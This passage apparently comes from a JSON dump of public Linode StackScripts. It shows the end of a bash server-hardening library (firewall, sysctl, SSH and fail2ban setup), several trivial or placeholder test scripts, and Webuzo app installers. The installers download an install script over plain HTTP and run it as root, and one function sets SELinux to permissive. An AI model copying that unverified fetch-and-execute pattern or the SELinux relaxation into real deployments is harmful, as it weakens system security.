-oMACs=hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com
-oGSSAPIKexAlgorithms=gss-curve25519-sha256- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256
-oHostKeyAlgorithms=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com
-oPubkeyAcceptedKeyTypes=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com''\"
> /etc/crypto-policies/back-ends/opensshserver.config\n systemctl restart
sshd\n}\n\nharden_kernel() {\n cp -n /etc/security/limits.conf /etc/security/limits.conf.orig\n echo
''* hard core 0'' >> /etc/security/limits.conf\n cat <<EOT > /etc/sysctl.d/sysctl.conf\nkernel.dmesg_restrict
= 1\nkernel.kptr_restrict = 1\nkernel.panic = 30\nkernel.yama.ptrace_scope =
1\nnet.ipv4.conf.all.accept_redirects = 0\nnet.ipv4.conf.all.arp_announce =
2\nnet.ipv4.conf.all.arp_ignore = 1\nnet.ipv4.conf.all.log_martians = 1\nnet.ipv4.conf.all.proxy_arp
= 0\nnet.ipv4.conf.default.accept_redirects = 0\nnet.ipv4.conf.default.accept_source_route
= 0\nnet.ipv4.conf.default.log_martians = 1\nnet.ipv4.conf.default.rp_filter
= 1\nnet.ipv4.conf.default.secure_redirects = 0\nnet.ipv4.conf.default.send_redirects
= 0\nnet.ipv4.tcp_max_syn_backlog = 4096\nnet.ipv4.tcp_rfc1337 = 1\nnet.ipv4.tcp_syn_retries
= 3\nnet.ipv4.tcp_synack_retries = 3\nnet.ipv6.conf.all.accept_redirects = 0\nnet.ipv6.conf.default.accept_ra_defrtr
= 0\nnet.ipv6.conf.default.accept_ra_pinfo = 0\nnet.ipv6.conf.default.accept_ra_rtr_pref
= 0\nnet.ipv6.conf.default.accept_redirects = 0\nnet.ipv6.conf.default.accept_source_route
= 0\nnet.ipv6.conf.default.autoconf = 0\nnet.ipv6.conf.default.dad_transmits
= 0\nnet.ipv6.conf.default.max_addresses = 1\nnet.ipv6.conf.default.router_solicitations
= 0\nEOT\n sysctl -p\n}\n\nharden_system() {\n echo \"root\" > /etc/cron.allow\n echo
\"ALL : ALL\" > /etc/hosts.deny\n cat <<EOT > /etc/hosts.allow\nALL : LOCAL\nALL
: 192.168.\nALL : 127.0.\nsshd : ALL\nEOT\n chmod 600 /etc/hosts.deny\n chmod
600 /etc/hosts.allow\n chmod 600 /etc/cron.allow\n rm -f /etc/cron.deny\n chmod
-R 700 /root\n userdel -Z -r -f adm\n userdel -Z -r -f ftp\n userdel
-Z -r -f games\n userdel -Z -r -f lp\n rmdir /usr/games\n rmdir /usr/local/games\n rmdir
/var/adm\n rmdir /var/ftp\n rmdir /var/games\n rmdir /var/gopher\n systemctl
stop kdump\n systemctl disable kdump\n systemctl mask kdump\n systemctl
mask ctrl-alt-del.target\n cat <<EOT >> /etc/modprobe.d/hardening.conf\nblacklist
usb-storage\nblacklist firewire-core\ninstall usb-storage /bin/true\ninstall
sctp /bin/true\ninstall dccp /bin/true\ninstall cramfs /bin/true\ninstall freevxfs
/bin/true\ninstall jffs2 /bin/true\ninstall hfs /bin/true\ninstall hfsplus /bin/true\ninstall
squashfs /bin/true\ninstall udf /bin/true\ninstall cifs /bin/true\ninstall nfs
/bin/true\ninstall nfsv3 /bin/true\ninstall nfsv4 /bin/true\ninstall gfs2 /bin/true\ninstall
bnep /bin/true\ninstall bluetooth /bin/true\ninstall btusb /bin/true\ninstall
net-pf-31 /bin/true\ninstall appletalk /bin/true\ninstall rds /bin/true\ninstall
tipc /bin/true\nEOT\n}\n\ndisable_ip6() {\n cat <<EOT >> /etc/sysctl.d/sysctl.conf\nnet.ipv6.conf.all.disable_ipv6
= 1\nnet.ipv6.conf.default.disable_ipv6 = 1\nnet.ipv6.conf.lo.disable_ipv6 =
1\nEOT\n sysctl -p\n echo \"options ipv6 disable=1\" >> /etc/modprobe.d/hardening.conf\n echo
\"NETWORKING_IPV6=no\" >> /etc/sysconfig/network\n echo \"IPV6INIT=no\" >>
/etc/sysconfig/network\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables
--policy FORWARD DROP\n ip6tables --policy OUTPUT DROP\n service ip6tables
save\n systemctl restart ip6tables\n}\n\nopen_port() {\n # ${1} - required
- IPv4 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\"
]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return
1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables
-A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service
iptables save\n systemctl restart iptables\n}\n\nopen_ip6_port() {\n #
${1} - required - IPv6 TCP port to open\n local -r port=\"${1}\"\n if
[ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return
1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables
-A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service
ip6tables save\n systemctl restart ip6tables\n}\n\nopen_udp_port() {\n #
${1} - required - IPv4 UDP port to open\n local -r port=\"${1}\"\n if
[ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return
1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables
-A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service
iptables save\n systemctl restart iptables\n}\n\nopen_ip6_udp_port() {\n #
${1} - required - IPv6 UDP port to open\n local -r port=\"${1}\"\n if
[ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return
1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables
-A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service
ip6tables save\n systemctl restart ip6tables\n}\n\nadd_port() {\n # opens
a port in the firewall\n # ${1} - required - IP standard (ipv4/ipv6)\n #
${2} - required - port #\n # ${3} - required - protocol (tcp/udp)\n local
-r standard=\"${1}\"\n local -r port=\"${2}\"\n local -r protocol=\"${3}\"\n if
[ -z \"${standard}\" ] || [ -z \"${port}\" ] || [ -z \"${protocol}\" ]; then\n printf
\"ERROR: (add_port) missing argument - ipv4/ipv6, port #, tcp/udp\\n\"\n return
1;\n fi\n if [ \"${standard}\" == ''ipv4'' ]; then\n cp -n /etc/sysconfig/iptables
/etc/sysconfig/iptables.orig\n iptables -A INPUT -p \"${protocol}\" -m
\"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n elif
[ \"${standard}\" == ''ipv6'' ]; then\n cp -n /etc/sysconfig/ip6tables
/etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p \"${protocol}\"
-m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n fi\n}\n\nconfigure_basic_firewall()
{\n # removes firewalld and creates a simple iptables firewall\n # accepts
pings and SSH connections only\n systemctl stop firewalld\n dnf -y remove
firewalld\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n cp
-n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n iptables -F\n iptables
--policy INPUT DROP\n iptables --policy FORWARD DROP\n iptables --policy
OUTPUT ACCEPT\n iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED
-j ACCEPT\n iptables -A INPUT -i lo -j ACCEPT\n iptables -A INPUT -p icmp
-j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"$(sed -n -e ''s/^[
\\t]*Port //p'' /etc/ssh/sshd_config)\" -m conntrack --ctstate NEW -j ACCEPT\n service
iptables save\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables
--policy FORWARD DROP\n ip6tables --policy OUTPUT ACCEPT\n ip6tables -A
INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n ip6tables -A
INPUT -i lo -j ACCEPT\n ip6tables -A INPUT -p ipv6-icmp -j ACCEPT\n service
ip6tables save\n systemctl enable iptables\n systemctl enable ip6tables\n systemctl
restart iptables\n systemctl restart ip6tables\n}\n\ninstall_apache() {\n #
installs an apache server with a simple configuration and SSL certificate\n #
${1} - optional - the fully-qualified domain name to be used for the SSL certificate\n if
[ -z \"${1}\" ]; then\n local -r fqdn=\"$(host \"$(hostname -I | cut
-d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n else\n local
-r fqdn=\"${1}\"\n fi\n dnf -y install httpd mod_ssl certbot python3-certbot-apache\n cp
-n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT
-p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n iptables
-A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service
iptables save\n systemctl restart iptables\n cp -n /etc/sysconfig/ip6tables
/etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport
\"80\" -m conntrack --ctstate NEW -j ACCEPT\n ip6tables -A INPUT -p tcp -m
tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables
save\n systemctl restart ip6tables\n cat <<EOT > /etc/httpd/conf.d/vhosts.conf\n<VirtualHost
*:80>\n ServerName ${fqdn}\n <Directory />\n Options None\n AllowOverride
none\n Require all granted\n </Directory>\n</VirtualHost>\nEOT\n systemctl
enable httpd\n systemctl restart httpd\n cp -n /etc/httpd/conf.d/ssl.conf
/etc/httpd/conf.d/ssl.conf.orig\n certbot --apache --noninteractive --agree-tos
--register-unsafely-without-email -d \"${fqdn}\" -w /var/www/html/\n local
-r certificatefile=\"$(sed -n -e ''s/SSLCertificateFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n local
-r certificatekeyfile=\"$(sed -n -e ''s/SSLCertificateKeyFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n cp
-n /etc/httpd/conf.d/vhosts-le-ssl.conf /etc/httpd/conf.d/vhosts-le-ssl.conf.original\n rm
-f /etc/httpd/conf.d/vhosts-le-ssl.conf\n if [ -n \"${certificatefile}\"
] && [ -n \"${certificatekeyfile}\" ]; then\n sed -i -e \"s#SSLCertificateFile
.*#SSLCertificateFile ${certificatefile}#i\" /etc/httpd/conf.d/ssl.conf\n sed
-i -e \"s#SSLCertificateKeyFile .*#SSLCertificateKeyFile ${certificatekeyfile}#i\"
/etc/httpd/conf.d/ssl.conf\n fi\n systemctl restart httpd\n}\n\ninstall_postfix()
{\n # installs postfix and enables local mail delivery and loopback only\n dnf
-y install postfix\n cp -n /etc/postfix/main.cf /etc/postfix/main.cf.orig\n sed
-i -e \"s/[# \\t]*inet_protocols = .*/inet_protocols = ipv4/i\" /etc/postfix/main.cf\n sed
-i -e \"s/[# \\t]*smtpd_banner =.*/smtpd_banner = \\$myhostname ESMTP/i\" /etc/postfix/main.cf\n systemctl
enable postfix\n systemctl restart postfix\n}\n\ninstall_fail2ban() {\n #
installs fail2ban-server with a simple configuration\n local -r ssh_port=\"$(sed
-n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\"\n dnf -y install fail2ban-server\n cat
<<EOT > /etc/fail2ban/jail.local\n[DEFAULT] \nbantime = 3600\nfindtime = 300\nmaxretry
= 5\nbanaction = iptables-multiport\nbackend = systemd\n\n[sshd]\nenabled =
true\nport = ${ssh_port}\nEOT\n systemctl enable fail2ban\n systemctl
start fail2ban\n}\n\ninstall_webmin() {\n # installs webmin with a simple
configuration\n cat <<EOT > /etc/yum.repos.d/webmin.repo\n[Webmin]\nname=Webmin
Distribution Neutral\nbaseurl=https://download.webmin.com/download/yum\nenabled=1\ngpgcheck=1\ngpgkey=https://download.webmin.com/jcameron-key.asc\nEOT\n dnf
-y install webmin\n sed -i \"s/ipv6=1/ipv6=0/i\" /etc/webmin/miniserv.conf\n if
[ -e \"/etc/httpd/conf.d/ssl.conf\" ]; then\n local -r certfile=\"$(sed
-n -e ''s/^[ \\t]*SSLCertificateFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n local
-r keyfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateKeyFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n echo
\"#keyfile=${keyfile}\" >> /etc/webmin/miniserv.conf\n echo \"#certfile=${certfile}\"
>> /etc/webmin/miniserv.conf\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables
-A INPUT -p tcp -m tcp --dport \"10000\" -m conntrack --ctstate NEW -j ACCEPT\n service
iptables save\n systemctl restart iptables\n if (ss -tulpn) | grep ''miniserv'';
then\n killall -9 miniserv.pl\n fi\n service webmin start\n chkconfig
webmin on\n}\n\ndisable_selinux() {\n # relaxes selinux but still logs errors\n setenforce
permissive\n sed -i \"s/=enforcing/=permissive/i\" \"/etc/selinux/config\"\n}\n\n\n####
STACKSCRIPT COMPATIBILITY FUNCTIONS\n\nsystem_install_basics() {\n install_essentials\n}\n\nsystem_primary_ip()
{\n get_primary_ip\n}\n\nsystem_primary_ip6() {\n get_primary_ip6\n}\n\nsystem_set_hostname()
{\n set_hostname \"${1}\"\n}\n\nsystem_add_host_entry() {\n add_host_entry
\"${1}\" \"${2}\" \"${3}\"\n}\n\nsystem_set_timezone() {\n set_timezone \"${1}\"\n}\n\nuser_add_sudo()
{\n add_sudo_user \"${1}\" \"${2}\"\n}\n\nuser_add_pubkey() {\n add_public_key
\"${1}\" \"${2}\"\n}\n\nssh_disable_root() {\n disable_root_login\n disable_password_authentication\n}\n\npostfix_install_loopback_only()
{\n install_postfix\n}\n\nenable_fail2ban() {\n install_fail2ban\n}\n\napache_install()
{\n install_apache \"${1}\"\n}\n", "user_defined_fields": []}, {"id": 1119241,
"username": "cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74",
"label": "ccc", "description": "ccccc", "ordinal": 0, "logo_url": "", "images":
["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "", "script": "#!/bin/bash\r\necho "hello"", "user_defined_fields":
[]}, {"id": 662025, "username": "half5064", "user_gravatar_id": "e76358653afa8908f167511e8379bd1c",
"label": "reboot", "description": "reboot", "ordinal": 0, "logo_url": "", "images":
["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "", "script": "#!/bin/bash''\n#linode-cli linodes reboot $half5064",
"user_defined_fields": []}, {"id": 9225, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "XCloner powered by Webuzo", "description":
"XCloner is a professional website Backup and Restore application designed to
allow you to create safe complete backups of any PHP/Mysql website and to be
able to restore them anywhere. It works as a native Joomla backup component,
as a native Wordpress backup plugin and also as standalone PHP/Mysql backup
application. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps
users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache,
NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou
can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to
Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure XCloner
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"XCloner powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install XCloner and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About XCloner :\n# XCloner
is a professional website Backup and Restore application designed to allow you
to create \n# safe complete backups of any PHP/Mysql website and to be able
to restore them anywhere.\n# It works as a native Joomla backup component,
as a native Wordpress backup plugin and also \n# as standalone PHP/Mysql backup
application.\n###########################################################################################################\n\n#
Install XCloner Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=458&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
XCloner and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, XCloner has been successfully installed\"\necho \" \"\necho
\"You can now configure XCloner and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 83465, "username":
"janelle_estelle", "user_gravatar_id": "58c5b6b3e7c996de84adf9c177085ae5", "label":
"Stack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\n# <UDF name=\"db_password\" Label=\"MySQL
root Password\" />\n# <UDF name=\"db_name\" Label=\"Create Database\" default=\"\"
example=\"Optionally create this database\" />\n# <UDF name=\"db_user\" Label=\"Create
MySQL User\" default=\"\" example=\"Optionally create this user\" />\n# <UDF
name=\"db_user_password\" Label=\"MySQL User''s Password\" default=\"\" example=\"User''s
password\" />\n\n\nsource <ssinclude StackScriptID=\"1\">\n\nsystem_update\npostfix_install_loopback_only\nmysql_install
\"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user
\"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\"
\"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install
&& apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices",
"user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"},
{"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally
create this database"}, {"name": "db_user", "label": "Create MySQL User", "default":
"", "example": "Optionally create this user"}, {"name": "db_user_password",
"label": "MySQL User''s Password", "default": "", "example": "User''s password"}]},
{"id": 978953, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2",
"label": "admin", "description": "fghtdyjt", "ordinal": 0, "logo_url": "", "images":
["linode/ubuntu16.04lts", "linode/centos8", "linode/debian9-kube-v1.22.2", "linode/debian11-kube-v1.21.9",
"linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "ree", "script": "#!/bin/bash\n\ndthfjuffyki", "user_defined_fields":
[]}, {"id": 9226, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Gallery 2 powered by Webuzo", "description": "Gallery is an open source
web based photo album organizer. Gallery gives you an intuitive way to blend
photo management seamlessly into your own website whether you''re running a
small personal site or a large community site.\r\n\r\nServing millions worldwide,
the Gallery project is the most widely used system of its kind. \r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Gallery 2 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Gallery 2 powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Gallery 2 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Gallery 2 :\n# Gallery
is an open source web based photo album organizer.\n# Gallery gives you an
intuitive way to blend photo management seamlessly into your own website \n# whether
you''re running a small personal site or a large community site.\n# Serving
millions worldwide, the Gallery project is the most widely used system of its
kind. \n###########################################################################################################\n\n#
Install Gallery 2 Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=383&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Gallery 2 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Gallery 2 has been successfully installed\"\necho \" \"\necho
\"You can now configure Gallery 2 and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1119243, "username":
"cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74", "label":
"nono", "description": "nono", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"", "script": "#!/bin/bash\r\necho &quot;hello&quot;\r\n", "user_defined_fields":
[]}, {"id": 9227, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Eventum powered by Webuzo", "description": "Eventum is a user-friendly
and flexible issue tracking system that can be used by a support department
to track incoming technical support requests, or by a software development team
to quickly organize tasks and bugs.\r\n\t\t\t\r\nWebuzo is a Single User Control
Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or
System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines
or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Eventum
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Eventum powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Eventum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Eventum :\n# Eventum
is a user-friendly and flexible issue tracking system that can be used by a
support \n# department to track incoming technical support requests, or by
a software development team to quickly\n# organize tasks and bugs.\n###########################################################################################################\n\n#
Install Eventum Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=394&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Eventum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Eventum has been successfully installed\"\necho \" \"\necho
\"You can now configure Eventum and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1010699, "username":
"manojserver", "user_gravatar_id": "11b2d04632b07576576c4cc464c99ddf", "label":
"test", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu21.10"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"", "script": "#!/bin/bash\n\n# <UDF name=\"company_name\" Label=\"Company Name\"
example=\"My Company\" />\n# <UDF name=\"company_email\" Label=\"Company Email\"
example=\"my@company.com\" />\n# <UDF name=\"admin_email\" Label=\"Admin Email\"
example=\"my@company.com\" />\n# <UDF name=\"admin_password\" Label=\"Admin
Password\" example=\"s3cur39a55w0r0\" />\n\n", "user_defined_fields": [{"name":
"company_name", "label": "Company Name", "example": "My Company"}, {"name":
"company_email", "label": "Company Email", "example": "my@company.com"}, {"name":
"admin_email", "label": "Admin Email", "example": "my@company.com"}, {"name":
"admin_password", "label": "Admin Password", "example": "s3cur39a55w0r0"}]},
{"id": 1280267, "username": "andrewmohawk", "user_gravatar_id": "c4a1738bcfba73859d7582676372dc1c",
"label": "thisisjustatest", "description": "test", "ordinal": 0, "logo_url":
"", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\necho \"Hello
world\"", "user_defined_fields": []}, {"id": 73228, "username": "rizerapp",
"user_gravatar_id": "dc70e4f46019425154b0a652de0657da", "label": "lib-system-ubuntu",
"description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts",
"linode/ubuntu16.04lts", "linode/ubuntu16.10"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n#
System related utilities\n#\n# Copyright (c) 2010 Filip Wasilewski <en@ig.ma>.\n#\n#
My ref: http://www.linode.com/?r=aadfce9845055011e00f0c6c9a5c01158c452deb\n\nfunction
lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction
system_update {\n apt-get update && apt-get upgrade -y\n}\n\nfunction system_add_user
